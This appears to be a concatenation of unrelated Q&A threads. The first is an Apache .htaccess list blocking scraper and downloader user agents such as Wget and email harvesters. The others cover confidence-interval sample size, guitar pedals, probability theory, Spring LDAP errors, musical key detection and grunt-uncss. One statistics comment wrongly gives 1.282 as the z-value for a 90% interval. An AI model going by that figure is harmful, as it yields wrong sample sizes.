RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
## Note: The final RewriteCond must NOT use the [OR] flag.
# Bad bot
SetEnvIfNoCase User-Agent "^abot" bad_bot
SetEnvIfNoCase User-Agent "^aipbot" bad_bot
SetEnvIfNoCase User-Agent "^asterias" bad_bot
SetEnvIfNoCase User-Agent "^EI" bad_bot
SetEnvIfNoCase User-Agent "^libwww-perl" bad_bot
SetEnvIfNoCase User-Agent "^LWP" bad_bot
SetEnvIfNoCase User-Agent "^lwp" bad_bot
SetEnvIfNoCase User-Agent "^MSIECrawler" bad_bot
SetEnvIfNoCase User-Agent "^nameprotect" bad_bot
SetEnvIfNoCase User-Agent "^PlantyNet_WebRobot" bad_bot
SetEnvIfNoCase User-Agent "^UCmore" bad_bot
SetEnvIfNoCase User-Agent "Alligator" bad_bot
SetEnvIfNoCase User-Agent "AllSubmitter" bad_bot
SetEnvIfNoCase User-Agent "Anonymous" bad_bot
SetEnvIfNoCase User-Agent "Asterias" bad_bot
SetEnvIfNoCase User-Agent "autoemailspider" bad_bot
SetEnvIfNoCase User-Agent "Badass" bad_bot
SetEnvIfNoCase User-Agent "Baiduspider" bad_bot
SetEnvIfNoCase User-Agent "BecomeBot" bad_bot
SetEnvIfNoCase User-Agent "Bitacle" bad_bot
SetEnvIfNoCase User-Agent "bladder\ fusion" bad_bot
SetEnvIfNoCase User-Agent "Blogshares\ Spiders" bad_bot
SetEnvIfNoCase User-Agent "Board\ Bot" bad_bot
SetEnvIfNoCase User-Agent "Board\ Bot" bad_bot
SetEnvIfNoCase User-Agent "Convera" bad_bot
SetEnvIfNoCase User-Agent "ConveraMultiMediaCrawler" bad_bot
SetEnvIfNoCase User-Agent "c-spider" bad_bot
SetEnvIfNoCase User-Agent "DA" bad_bot
SetEnvIfNoCase User-Agent "DnloadMage" bad_bot
SetEnvIfNoCase User-Agent "Download\ Demon" bad_bot
SetEnvIfNoCase User-Agent "Download\ Express" bad_bot
SetEnvIfNoCase User-Agent "Download\ Wonder" bad_bot
SetEnvIfNoCase User-Agent "dragonfly" bad_bot
SetEnvIfNoCase User-Agent "DreamPassport" bad_bot
SetEnvIfNoCase User-Agent "DSurf" bad_bot
SetEnvIfNoCase User-Agent "DTS Agent" bad_bot
SetEnvIfNoCase User-Agent "EBrowse" bad_bot
SetEnvIfNoCase User-Agent "eCatch" bad_bot
SetEnvIfNoCase User-Agent "edgeio" bad_bot
SetEnvIfNoCase User-Agent "Email\ Extractor" bad_bot
SetEnvIfNoCase User-Agent "EmailSiphon" bad_bot
SetEnvIfNoCase User-Agent "EmailWolf" bad_bot
SetEnvIfNoCase User-Agent "EmeraldShield" bad_bot
SetEnvIfNoCase User-Agent "ESurf" bad_bot
SetEnvIfNoCase User-Agent "Exabot" bad_bot
SetEnvIfNoCase User-Agent "ExtractorPro" bad_bot
SetEnvIfNoCase User-Agent "FileHeap!\ file downloader" bad_bot
SetEnvIfNoCase User-Agent "FileHound" bad_bot
SetEnvIfNoCase User-Agent "Forex" bad_bot
SetEnvIfNoCase User-Agent "Franklin\ Locator" bad_bot
SetEnvIfNoCase User-Agent "FreshDownload" bad_bot
SetEnvIfNoCase User-Agent "FrontPage" bad_bot
SetEnvIfNoCase User-Agent "FSurf" bad_bot
SetEnvIfNoCase User-Agent "Gaisbot" bad_bot
SetEnvIfNoCase User-Agent "Gamespy_Arcade" bad_bot
SetEnvIfNoCase User-Agent "genieBot" bad_bot
SetEnvIfNoCase User-Agent "GetBot" bad_bot
SetEnvIfNoCase User-Agent "GetRight" bad_bot
SetEnvIfNoCase User-Agent "Gigabot" bad_bot
SetEnvIfNoCase User-Agent "Go!Zilla" bad_bot
SetEnvIfNoCase User-Agent "Go-Ahead-Got-It" bad_bot
SetEnvIfNoCase User-Agent "GOFORITBOT" bad_bot
SetEnvIfNoCase User-Agent "heritrix" bad_bot
SetEnvIfNoCase User-Agent "HLoader" bad_bot
SetEnvIfNoCase User-Agent "HooWWWer" bad_bot
SetEnvIfNoCase User-Agent "HTTrack" bad_bot
SetEnvIfNoCase User-Agent "iCCrawler" bad_bot
SetEnvIfNoCase User-Agent "ichiro" bad_bot
SetEnvIfNoCase User-Agent "iGetter" bad_bot
SetEnvIfNoCase User-Agent "imds_monitor" bad_bot
SetEnvIfNoCase User-Agent "Industry\ Program" bad_bot
SetEnvIfNoCase User-Agent "Indy\ Library" bad_bot
SetEnvIfNoCase User-Agent "InetURL" bad_bot
SetEnvIfNoCase User-Agent "InstallShield\ DigitalWizard" bad_bot
SetEnvIfNoCase User-Agent "IRLbot" bad_bot
SetEnvIfNoCase User-Agent "IUPUI\ Research\ Bot" bad_bot
SetEnvIfNoCase User-Agent "Java" bad_bot
SetEnvIfNoCase User-Agent "jeteye" bad_bot
SetEnvIfNoCase User-Agent "jeteyebot" bad_bot
SetEnvIfNoCase User-Agent "JoBo" bad_bot
SetEnvIfNoCase User-Agent "JOC\ Web\ Spider" bad_bot
SetEnvIfNoCase User-Agent "Kapere" bad_bot
SetEnvIfNoCase User-Agent "Larbin" bad_bot
SetEnvIfNoCase User-Agent "LeechGet" bad_bot
SetEnvIfNoCase User-Agent "LightningDownload" bad_bot
SetEnvIfNoCase User-Agent "Linkie" bad_bot
SetEnvIfNoCase User-Agent "Mac\ Finder" bad_bot
SetEnvIfNoCase User-Agent "Mail\ Sweeper" bad_bot
SetEnvIfNoCase User-Agent "Mass\ Downloader" bad_bot
SetEnvIfNoCase User-Agent "MetaProducts\ Download\ Express" bad_bot
SetEnvIfNoCase User-Agent "Microsoft\ Data\ Access" bad_bot
SetEnvIfNoCase User-Agent "Microsoft\ URL\ Control" bad_bot
SetEnvIfNoCase User-Agent "Missauga\ Locate" bad_bot
SetEnvIfNoCase User-Agent "Missauga\ Locator" bad_bot
SetEnvIfNoCase User-Agent "Missigua Locator" bad_bot
SetEnvIfNoCase User-Agent "Missouri\ College\ Browse" bad_bot
SetEnvIfNoCase User-Agent "Mister\ PiX" bad_bot
SetEnvIfNoCase User-Agent "MovableType" bad_bot
SetEnvIfNoCase User-Agent "Mozi!" bad_bot
SetEnvIfNoCase User-Agent "Mozilla/3.0 (compatible)" bad_bot
SetEnvIfNoCase User-Agent "Mozilla/5.0 (compatible; MSIE 5.0)" bad_bot
SetEnvIfNoCase User-Agent "MSIE_6.0" bad_bot
SetEnvIfNoCase User-Agent "MSIECrawler" badbot
SetEnvIfNoCase User-Agent "MVAClient" bad_bot
SetEnvIfNoCase User-Agent "MyFamilyBot" bad_bot
SetEnvIfNoCase User-Agent "MyGetRight" bad_bot
SetEnvIfNoCase User-Agent "NASA\ Search" bad_bot
SetEnvIfNoCase User-Agent "Naver" bad_bot
SetEnvIfNoCase User-Agent "NaverBot" bad_bot
SetEnvIfNoCase User-Agent "NetAnts" bad_bot
SetEnvIfNoCase User-Agent "NetResearchServer" bad_bot
SetEnvIfNoCase User-Agent "NEWT\ ActiveX" bad_bot
SetEnvIfNoCase User-Agent "Nextopia" bad_bot
SetEnvIfNoCase User-Agent "NICErsPRO" bad_bot
SetEnvIfNoCase User-Agent "NimbleCrawler" bad_bot
SetEnvIfNoCase User-Agent "Nitro\ Downloader" bad_bot
SetEnvIfNoCase User-Agent "Nutch" bad_bot
SetEnvIfNoCase User-Agent "Offline\ Explorer" bad_bot
SetEnvIfNoCase User-Agent "OmniExplorer" bad_bot
SetEnvIfNoCase User-Agent "OutfoxBot" bad_bot
SetEnvIfNoCase User-Agent "P3P" bad_bot
SetEnvIfNoCase User-Agent "PagmIEDownload" bad_bot
SetEnvIfNoCase User-Agent "pavuk" bad_bot
SetEnvIfNoCase User-Agent "PHP\ version" bad_bot
SetEnvIfNoCase User-Agent "playstarmusic" bad_bot
SetEnvIfNoCase User-Agent "Program\ Shareware" bad_bot
SetEnvIfNoCase User-Agent "Progressive Download" bad_bot
SetEnvIfNoCase User-Agent "psycheclone" bad_bot
SetEnvIfNoCase User-Agent "puf" bad_bot
SetEnvIfNoCase User-Agent "PussyCat" bad_bot
SetEnvIfNoCase User-Agent "PuxaRapido" bad_bot
SetEnvIfNoCase User-Agent "Python-urllib" bad_bot
SetEnvIfNoCase User-Agent "RealDownload" bad_bot
SetEnvIfNoCase User-Agent "RedKernel" bad_bot
SetEnvIfNoCase User-Agent "relevantnoise" bad_bot
SetEnvIfNoCase User-Agent "RepoMonkey\ Bait\ &\ Tackle" bad_bot
SetEnvIfNoCase User-Agent "RTG30" bad_bot
SetEnvIfNoCase User-Agent "SBIder" bad_bot
SetEnvIfNoCase User-Agent "script" bad_bot
SetEnvIfNoCase User-Agent "Seekbot" bad_bot
SetEnvIfNoCase User-Agent "SiteSnagger" bad_bot
SetEnvIfNoCase User-Agent "SmartDownload" bad_bot
SetEnvIfNoCase User-Agent "sna-" bad_bot
SetEnvIfNoCase User-Agent "Snap\ bot" bad_bot
SetEnvIfNoCase User-Agent "SpeedDownload" bad_bot
SetEnvIfNoCase User-Agent "Sphere" bad_bot
SetEnvIfNoCase User-Agent "sproose" bad_bot
SetEnvIfNoCase User-Agent "SQ\ Webscanner" bad_bot
SetEnvIfNoCase User-Agent "Stamina" bad_bot
SetEnvIfNoCase User-Agent "Star\ Downloader" bad_bot
SetEnvIfNoCase User-Agent "Teleport" bad_bot
SetEnvIfNoCase User-Agent "TurnitinBot" bad_bot
SetEnvIfNoCase User-Agent "UdmSearch" bad_bot
SetEnvIfNoCase User-Agent "URLGetFile" bad_bot
SetEnvIfNoCase User-Agent "User-Agent" bad_bot
SetEnvIfNoCase User-Agent "UtilMind\ HTTPGet" bad_bot
SetEnvIfNoCase User-Agent "WebAuto" bad_bot
SetEnvIfNoCase User-Agent "WebCapture" bad_bot
SetEnvIfNoCase User-Agent "webcollage" bad_bot
SetEnvIfNoCase User-Agent "WebCopier" bad_bot
SetEnvIfNoCase User-Agent "WebFilter" bad_bot
SetEnvIfNoCase User-Agent "WebReaper" bad_bot
SetEnvIfNoCase User-Agent "Website\ eXtractor" bad_bot
SetEnvIfNoCase User-Agent "WebStripper" bad_bot
SetEnvIfNoCase User-Agent "WebZIP" bad_bot
SetEnvIfNoCase User-Agent "Wells\ Search" bad_bot
SetEnvIfNoCase User-Agent "WEP\ Search\ 00" bad_bot
SetEnvIfNoCase User-Agent "Wget" bad_bot
SetEnvIfNoCase User-Agent "Wildsoft\ Surfer" bad_bot
SetEnvIfNoCase User-Agent "WinHttpRequest" bad_bot
SetEnvIfNoCase User-Agent "WWWOFFLE" bad_bot
SetEnvIfNoCase User-Agent "Xaldon\ WebSpider" bad_bot
SetEnvIfNoCase User-Agent "Y!TunnelPro" bad_bot
SetEnvIfNoCase User-Agent "YahooYSMcm" bad_bot
SetEnvIfNoCase User-Agent "Zade" bad_bot
SetEnvIfNoCase User-Agent "ZBot" bad_bot
SetEnvIfNoCase User-Agent "zerxbot" bad_bot
</IfModule>

# Apache < 2.4
<IfModule !mod_authz_core.c>
    <Limit GET POST>
        Order allow,deny
        Allow from all
        Deny from env=bad_bot
    </Limit>
</IfModule>
# Apache >= 2.4
<IfModule mod_authz_core.c>
    <Limit GET POST>
        <RequireAll>
            Require all granted
            Require not env bad_bot
        </RequireAll>
    </Limit>
</IfModule>
</code>
Comment: Irei da uma olhada, assim que sobrar um tempo para checar o que pode se encaixar aqui, obrigado!


Sample size and conservative confidence interval

Question:
We want to produce a $90%$ confidence interval for the proportion of
  vegetarian recipes at one cookbook. We will use simple random sampling
  without replacement to select a sample of $2311$ recipes in the book.
  We want the interval length is at most $0.06$. Find the minimum sample
  size so we can build the interval.

We have that confidence interval for proportion is
$$\overline{Y}-z_\frac{\alpha}{2}\sqrt{(1-f)\frac{\hat{P}(1-\hat{P})}{n-1}}\leq\mu\leq \overline{Y}+z_\frac{\alpha}{2}\sqrt{(1-f)\frac{\hat{P}(1-\hat{P})}{n-1}}$$
where $f=\frac{n}{N}$, $n$ is the size of the sample and $N=2311$ is the size of population, but since we don't know the values of $\hat{P}$, I did a conservative confidence interval, replacing
$$\hat{P}(1-\hat{P})\Rightarrow \frac{1}{4}$$
so the interval is
$$\overline{Y}-z_\frac{\alpha}{2}\sqrt{\frac{(1-f)}{4(n-1)}}\leq\mu\leq \overline{Y}+z_\frac{\alpha}{2}\sqrt{\frac{(1-f)}{4(n-1)}}$$
then the length is
$$2z_\frac{\alpha}{2}\sqrt{\frac{(1-f)}{4(n-1)}}=0.06$$
$$2z_\frac{\alpha}{2}\sqrt{\frac{(1-\frac{n}{N})}{4(n-1)}}=0.06$$
$$2*1.64\sqrt{\frac{(1-\frac{n}{N})}{4(n-1)}}=0.06$$
but I could not solve this equation, and also not sure if this is indeed the correct reasoning.
Comment: The solution to the equation is found by squaring both sides and then multiplying by $4(n-1)$, giving a *linear* equation for $n$ which is readily solved, resulting in $n=545$. However, since $\alpha=0.10$ in this question you should revisit your calculation of $Z_{\alpha/2}$: I believe it should be around $1.282$, not $1.64$.
Comment: I'm surprised that this recipe, which I'd never seen before, gets so close to my answer of $546$.  Do you have a reference for it?
Comment: This will work but only if the proportion of vegetarian recipes is close enough to 0.5. If it deviates a lot from that value (e.g 0.01) then the normal approximation to the binomial distribution will be a poor approximation.
Answer: This is a surprisingly hard question if I have interpreted it correctly and an exact answer is required.  I apologise in advance if what follows is largely incomprehensible.
Let me check the facts first.  There are $N=2311$ recipes, some unknown number $V$ of which are vegetarian.  You will sample $n$ recipes without replacement and want to know the smallest $n$ you can use such that there's a $90\%$ confidence interval of width at most $0.06N$ for $V$.  Each CI will be a pair of integers, $(a,b)$, such that $b-a\le\lfloor 0.06N\rfloor=138$.  Yes?
OK, let $P(N,V,n,v)=\binom{V}{v}\binom{N-V}{n-v}/\binom{N}{n}$ be the probability that $n$ samples yield $v$ veggie recipes: call that an $(n,v)$ outcome.  Let $I(N,V,n,v)$ be $1$ if the CI from an $(n,v)$ outcome contains $V$; or $0$ otherwise.  Let $C(N,V,n)=\sum_v P(N,V,n,v) \times I(N,V,n,v)$, the "coverage" of $V$, or the probability that the CI from an $(n,\cdot)$ outcome contains $V$.  For $90\%$ confidence, we need $C(N,V,n)\ge 0.9$ for all $V\in{0,1,2,\ldots,N}$.  So, what's the smallest $n$ such that it's possible to construct CIs meeting that coverage threshold?
We will try each $n=1,2,3,\ldots$ in turn until we find one that works.  To check a given $n$, we use a greedy algorithm.  Initially, there are no CIs and the coverage is $0$ for all $V$.  Set the CI $(0,\ldots,138)$ for $(n,0)$.  This gives $100\%$ coverage for $V=0$, but lesser coverage for larger $V$.  Find the smallest $V$ with coverage less than $90\%$: start the CI for $(n,1)$ at that point.  Repeat, starting CIs for $(n,2), (n,3)$, etc at those $V$ that are not yet $90\%$ covered.  You'll either make it right to the end, $V=N$, or run out of CIs.  If you make it, $n$ is good; otherwise $n$ is bad.
This algorithm finds the minimal number of samples, $n=546$.
It's quite a thing to see what coverage you get out of this algorithm; see below.
Comment: Sorry, I know this isn't really what you were after.  Perhaps you are looking to do a Normal approximation using centred confidence intervals?  Good luck.
Comment: A general reference for survey sampling is "Model Assisted Survey Sampling" by Sarndal, Swensson and Wretman. Specifically, this question is dealt with in Section 2.11; its treatment is very general, but it advocates the same approach begun by the original poster and finished by @whuber. And just a note: in survey design, it is typical to make the conservative assumption that $\hat{P}=0.5$, unless some prior information about the proportion is known.


should I buy a compressor?

Question: My equipment is:
Boss bd2,
Vox wah,
Behringer um300
my amp is a roland cube, not the best but decent.
I want to get more boost when I play solos, by turning on one of the pedals, but I don't know how, and since I think that a compressor could be useful to get closer to the legendary malmsteen/joe satriani/steve vai tone (correct me if I am wrong), I thought that maybe I could use the compressor to get more boost for solos.
basically my 3 questions are:
will a compressor like the boss cs3 help me to get closer to this amazing tone?
could a compressor be useful to get more boost?
How can I set my amp and my pedals to get more boost when I turn on the pedal for solos?
Comment: It might be better to re-word this to ask what kind of pedal will let you add a boost to your sound when you need it.
Comment: Which Cube in particular do you have?
Answer: If you want a boost, there are boost pedals available of several different kinds.
Another way to get a boost is to get an EQ pedal and just turn all the EQ all the way up. That's how Tom Morello gets a boost when he wants one.
You can use many compressor or distortion pedals as boost pedals, but either of them will make at least slight changes to the sound besides the boost (well, every pedal makes a slight change to the sound in addition to whatever it does). Some compressor and distortion pedals clamp down really hard on their outputs, so they just don't quite boost that much no matter how you set them.
If you want a pedal that you can use for a bit of a boost either with some compression or that you can use as a compressor in other situations, then a compressor is a good pedal to have. I love compressors and I have three, and I've used them as boosts before.
But, if you want a real serious boost, then a dedicated boost pedal will do it better. You'll have a lot more boost available to you than with a compressor and you'll be able to make it a clean boost if you want it to be. Compressors normally can't be set 100% clean, especially if you want them to boost also.
Either way, you should put whatever you're using to boost last in your pedal chain.
Answer: A compressor would be the first pedal I would buy.  It just makes your guitar sound so good!  Get the Boss Compressor Sustainer, either the CS-1, CS-2, or CS-3, would be my advice.  My favorite is the CS-1 but it's not a subtle compressor and you have to like it's "pumping" effect, plus it's no longer made and kind of pricy on the used market.  There are many great compressors on the market.  The ones that Keeley makes seems to have the best reputation, but I like the Boss better.

should I buy a compressor?


Reference request: Continuous Mapping Theorem

Question: I'm looking for a reference (preferably, a textbook) for the Continuous Mapping Theorem, as stated in the Wikipedia page. In particular, I'm interested in point 3., concerning a.s. convergence.
I've looked into the reference suggested in the Wikipedia page, namely P. Billingsley, "Convergence of Probability Measures" (1999), but it seems to me that the statement (Theorem 2.7, p. 27) concerns weak convergence only.
Any help is very welcome! Thanks!
Comment: What is the continuous mapping theorem?
Comment: @Math_QED You can check the Wikipedia link for the statement.
Comment: Almost sure convergence is trivial to prove. The other ones are the difficult ones.
Comment: @Math_QED: Yes, I agree. However, I would like to find a textbook with a statement including all kind of convergence.
Comment: I think this should be in all serious probability/measure theoretic references. Maybe check Cohn's measure theory.
Comment: @Math_QED: Thanks, I'll look into it.
Answer: Almost sure convergence is trivial.
Note that $$\{\omega\mid X_n(\omega) \to X(\omega)\} \subset \{\omega \mid g(X_n(\omega)) \to g(X(\omega))\}$$
where $X_n,X$ are random variables and $g$ is continuous. Then, take probabilities of both sides of the inequality.


LDAP authentication using Spring security 2.0.3

Question: I am trying to do LDAP authentication using spring security 2.0.3
Here is my configuration
<bean id="contextSource" class="org.springframework.security.ldap.DefaultSpringSecurityContextSource">
        <constructor-arg value="ldap://IP:3268"/>
        <property name="base" value="dc=alliance",dc=com,OU=Users,OU=India"/>
        <property name="userDn" value="sAMAccountName=username" />
        <property name="password" value="password" />
    </bean>

    <bean id="ldapProvider" class="org.springframework.security.providers.ldap.LdapAuthenticationProvider">
        <sec:custom-authentication-provider/>
        <constructor-arg>
            <bean class="org.springframework.security.providers.ldap.authenticator.BindAuthenticator">
                <constructor-arg ref="contextSource"/>

                <property name="userDnPatterns">
                   <list><value>sAMAccountName={0}</value></list>
                 </property>
            </bean>
        </constructor-arg>
        <constructor-arg>
            <bean class="org.springframework.security.ldap.populator.DefaultLdapAuthoritiesPopulator">
                <constructor-arg ref="contextSource"/>
                <constructor-arg value="ou=groups"/>
                <property name="groupSearchFilter" value="member={0}"/>
                <property name="groupRoleAttribute" value="ou"/>
                <property name="rolePrefix" value="ROLE_"/>
                <property name="searchSubtree" value="true"/>
                <property name="convertToUpperCase" value="true"/>
            </bean>
        </constructor-arg>
    </bean>

Maven entry set is as below
<dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-core</artifactId>
            <version>2.0.3</version>
            <exclusions>
                <exclusion>
                    <groupId>commons-logging</groupId>
                    <artifactId>commons-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
<dependency>
            <groupId>org.springframework.ldap</groupId>
            <artifactId>spring-ldap</artifactId>
            <version>1.2.1</version>
        </dependency>

Exception I am getting is

[BindAuthenticator,2329165@qtp-24103634-0] - Failed to bind as sAMAccountName=csepena: org.springframework.ldap.AuthenticationException: [LDAP: error code 49 - 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 525, vece

Where should i mention domain name?
Answer: If you search online for the error message, you will find something like this page of Active Directory errors, which lists your error at the top:
Common Active Directory LDAP bind errors:

80090308: LdapErr: DSID-0C09030B, comment: AcceptSecurityContext error, data 525, v893
HEX: 0×525 – user not found
DEC: 1317 – ERROR_NO_SUCH_USER (The specified account does not exist.)
NOTE: Returns when username is invalid.

So according to AD, the user doesn't exist. You've tried to use sAMAccountName attribute as part of a DN pattern, which won't work as it is an LDAP attribute. You need to use a search to first locate a user by the value of this attribute. There are examples on how to do that elsewhere on this site and on the web. It looks like you already tried, since you commented out a search bean. If that didn't work you should have explained what went wrong in your question.
In fact, it seems likely that it failed because there are some things wrong with your context source. The value for the userDn property is wrong. It needs to be a valid distinguished name in the directory, which "sAMAccountName=username" is not. The "base" property also looks incorrect. It should generally be a tree where the root (dc=mycompany,dc=com is at the end). So it should probably be ou=mygroup,ou=mycountry,dc=mycompany,dc=com.
Finally, you shouldn't be using version 2.0.3. It has known security vulnerabilities. Always keep up to date with patches and new versions of libraries you are using - number 6 in the OWASP "top ten". It also makes sense to check the latest version in case you're encountering a bug which has been fixed.


Automated way to recognize musical key given chords?

Question: Assuming I have access to the chords of a song, I 'know' (based on my own experience and training) what key the song is likely to be in. And for pop music, the recognition rate is easily above 95%. To be fair, for certain types of pop music the key is just the final chord of the song though.
Have there been attempts at deriving musical key from a list (ordered or unordered) of chords in the song? I'm looking for either a list of rules or (preferably) a computer program.
Initial thoughts:-

If a song has lots of C, F, and G major chords, it's probably in C
The first and/or last chord would have inordinate importance
Differentiating between Am and C would be much harder than between C and D

Clarifications:-
 - Let's just assume 'simple' music, pop-ish, meant for acoustic guitar/simple piano playing.
 - The 'chords' that I'm thinking about here are boring old guitar chords (Cmaj7, D/F#, Gsus4) style
Comment: What do you do to "know" what key a song is in? Can you determine a key from a list of chords? How are you doing that? That would answer your own question.
Comment: Unordered? How is one going to do that without some idea of ordering and rhythmic priorities? If I use mostly major triads on F, C and G, I can tonicise F quite as easily as I can C (V/V - V - I). I can even end the piece on a C chord and make it seem like an unresolved ending on the dominant. So it will depend on the ordering (the progression), to be sure, but also on line and rhythm to make my key clear.
Comment: @Patrx2 - I've often wondered about the situation you suggest. If, with only C, F and G, but construed to be 'in F', I think most of the B notes would be B rather than Bb.So, what would the key sig. have to be? If it was for F, then most of the Bbs would end up cancelled, in which case it could be generally thought of as, well, it's pretty much in C, isn't it?     An example that comes to mind is Sweet Home  Alabama. In D or G? I've seen in written in both! And in C, with zero key sig...
Comment: @Tim, the B notes are where line and rhythm come in. Imagine the G chord falling on a relatively unstressed beat, then dwelling on C for a while, then bringing in F on a beat where you expect a cadence to end, _but imagine the F chord with a stressed B♭ appoggiatura_. The B♭ is a linear artifact, a nonharmonic tone, but it has a harmonically disambiguating effect. Without the support of line and rhythm, a small number of chords can be extremely ambiguous, but, with the support of these elements, even a single chord can establish a tonality: see the Prelude to Das Rheingold.
Comment: @Patrx2 - or could it be argued that the C/F/G song is in F is actually in F Lydian? What about a key sig? Point taken completely re. positioning of chord in bar/phrase.
Comment: @Tim, it could be, or it could be taken that B♮ is just part of V of V, a substitute for ii, cycle-of-fifths stuff - that situation might remain ambiguous or it might be clarified perfectly by rhythm and line - but it remains that I could tonicise F using those chords. It's even (somewhat) conceivable that I could tonicise _G_ with those chords, with careful attention to order, rhythm and the nonharmonic notes in the lines - G with an extremely strong Mixolydian flavour. (Be Hellish difficult, mind you.)
Comment: @Patrx2 - o.k. Thanks. There are a some two chord songs I've played: mostly I-V, but one or two seem to come out as IV-I, which is just the sort of thing you mention. The theorist in me says they should all be I-V, and end on I, but it ain't necessarily so.
Comment: When you use the word "automated" I take it literally and expect you mean "using a computer algorithm." Do you actually mean something more like "formula" or "cheat sheet?"
Comment: Second question that could help determine an answer: why do you want to do this? What will you do after you label music with a key? In other words, who cares what the key is if you already have chord labels? There should be a reason why you want to know this. I could imagine it's for harmonic analysis, or notating sheet music, but what is your reason?
Comment: "Music and Probability" by David Temperley might be an interesting read.
Comment: Yes, read David Temperley!
Comment: @thrig Thanks so much for the David Temperley suggestion, will certainly give that a read soon.

And I'm interested in a computer algorithm, eventually, but a formula or cheat sheet will get me there within issue.
Comment: @Patrx2 Ordered is fine as well if it's necessary.
Comment: In case others haven't tried looking,Temperley has a lot of papers online. http://davidtemperley.com/papers/. My favorite is 'Melodic-Harmonic divorce in rock' which has some bearing on this discussion.
Answer: I think you are on the right track, because you limit your question to a simple pop context. But, I would suggest this:

Always keep in mind a song can modulate. The whole song may be in one key, but you might also need to apply some "local" key changes to sections of a song.
Caveat: when pop styles use minor harmony there is a tendency for the music to not be in a key in the standard music theory sense. It will tend to be either modal - like d dorian in "Riders on the Storm" - or minor pentatonic scale oriented - like in hard rock songs such as "Hair of the Dog." Identifying a modal tonality is more complicated so we won't try to do it here.
The straight forward way to determine key is by finding the primary tonal triads: tonic, subdominant, dominant. In major keys this is simple: C, F, G or I, IV, V. In minor keys look for cm, fm, Gmaj or i, iv, V. You could find a chart listing all keys like this.
Keep in mind other chords are likely used even in a simple song. But for the purpose of identifying key you can disregard those chords, and focus on the primary triads. For example, in this common chord progression -  C a-min F G (I vi IV V) you can disregard the a minor, the C, F, G chords match the primary chords for C major.
If a given song doesn't fit neatly into the steps above, you probably aren't dealing with simple songs, and will have to use more sophisticated methods. That's ok! Use a simple method when appropriate, switch to sophisticated analysis when needed.

Additional comments:
@Patrx2 and @Tim point out some good "gotchas." But, if you find such things in a particular song, it probably isn't the simple pop music your are focusing on and you won't be able to approach it with a simple formula/method.
You may find a lot of music that seems simple is not simple in terms of key/tonality. My simple outline will work well with a lot of Buddy Holly songs or 1960's doo-wop, etc. but it won't help much with many Beatles songs, and many, many other interesting songs.
Comment: ...and that last sentence sums up what is problematic about the venture. It's precisely when things get interesting that simple automation will be problematic, and even not-so-simple automation will be iffy. Hewing to the statistical mean is not very interesting; naming the key you're in is not very interesting; finding out how you got there is _very_ interesting, but usually requires more than enumerating chords.
Comment: I agree absolutely. Enumerating chords or notes which match a key is not enough. I hope my answer isn't misleading in this regard. I tried to give clear caveats to avoid that mistake.
Comment: Thanks for a very good answer, but for clarification - it sounds like you're suggesting chord counting and assuming that the 3 most numerous chords are I, IV, and V? Simple enough to do, and I'll have to test it with some of the songs I want to use, but as already mentioned by others this will be quite brittle with anything beyond the simplest (and won't cover what I personally consider 'pop', though I understand that to be subjective)
Comment: Also, what would 'sophisticated analysis' look like? I'm skimming through "Music and Probability" now, which looks interesting except for the focus on melodic/note structure which is at odds with the 'based on chords' plan I have. The only relevant bit it seems to have is the 'relatedness' of keys.
Comment: The easiest way to reduce complexity for an algorithm is a scoring mechanism that favors the most common choices, maybe start with the list of most common and then eliminate them somehow. I expect Differential Diagnosis algorithms might be helpful here. Remember: When you hear hoofbeats, look for horses, not zebras
Comment: @Ng Oon-Ee, "And I Love Her" by the Beatles is a good example. Check this out: http://www.recmusicbeatles.com/public/files/awp/ailh.html. I'm not so much interested in what the analysis symbols look like, but that it becomes more of a discussion.
Comment: I think the main point of this lively discussion is the importance of knowing how to and when to apply various analysis tools. Identifying the primary triads is a useful tool. It will work for "Words of Love" by Buddy Holly. But, you can rely solely on this one tool.
Comment: Corollary point after reading that interesting short article by @MichaelCurtis - if all you're after is 'best guess' then chord counting would still have worked in that example (as is the case for me). Which brings me back to another point from Music and Probability, that its all about perception and it seems fairly simple for experienced musicians/composers to 'direct' perception, which leaves the 'right' answer fairly ambiguous
Answer: sure there is.  same way ya do it manually.
relying on chords won't be as good as just using melody.
due to the chords often being dom7 and that minor7 being out of keysig.  kinda.
take the melody, see where it's 7 most popular notes are, boom - there's your keysig usually.
due to pop usually being in major, vocals and bass usually staying in keysig.
I've tried this out on a bunch of pop midi files and it usually works great.
Comment: Thanks, but I'm more interested in something based on chords, primarily because it's easier to obtain chords than melody notes generally (in numbers, of course, not referring to any specific tune/song).
Comment: using the notes of the chord will still work.  the 7 most popular notes will still outweigh the minor 7ths cuz the chords's main 3 will build up way faster than the dom7.


Problema com grunt-uncss

Question: Gostaria de saber se é possível fazer a leitura de um arquivo .CSHTML com grunt-uncss, pois pesquisei e tentei e até agora não tive nenhum resultado..
Comment: Por que você está usando um pacote do Node em uma aplicação ASP.NET MVC?
Comment: Para melhorar a velocidade do meu site, removendo redundancia e css desnecessario do bootstrap
Comment: Bom, a chance de algo assim funcionar é mínima. Pelo que eu entendi da leitura do pacote, ele lê apenas HTML.
Comment: Descobri que ele le CSHTML, porém quero que leia dinamicamente, junto com meu localhost, exemplo: http://localhost:50514/Home a documentação se encontra aqui https://github.com/addyosmani/grunt-uncss#start-of-content
Answer: Conforme este comentario no GitHub consegui resolver meu problema o codigo ficou assim:
module.exports = function (grunt) {
    grunt.initConfig({
        uncss: {
            dist: {
                files: {
                    'Content/home.css': ['index.html']
                },
                options: {
                    urls: ['MinhaPagina/Home']
                }
            }
        }
    });

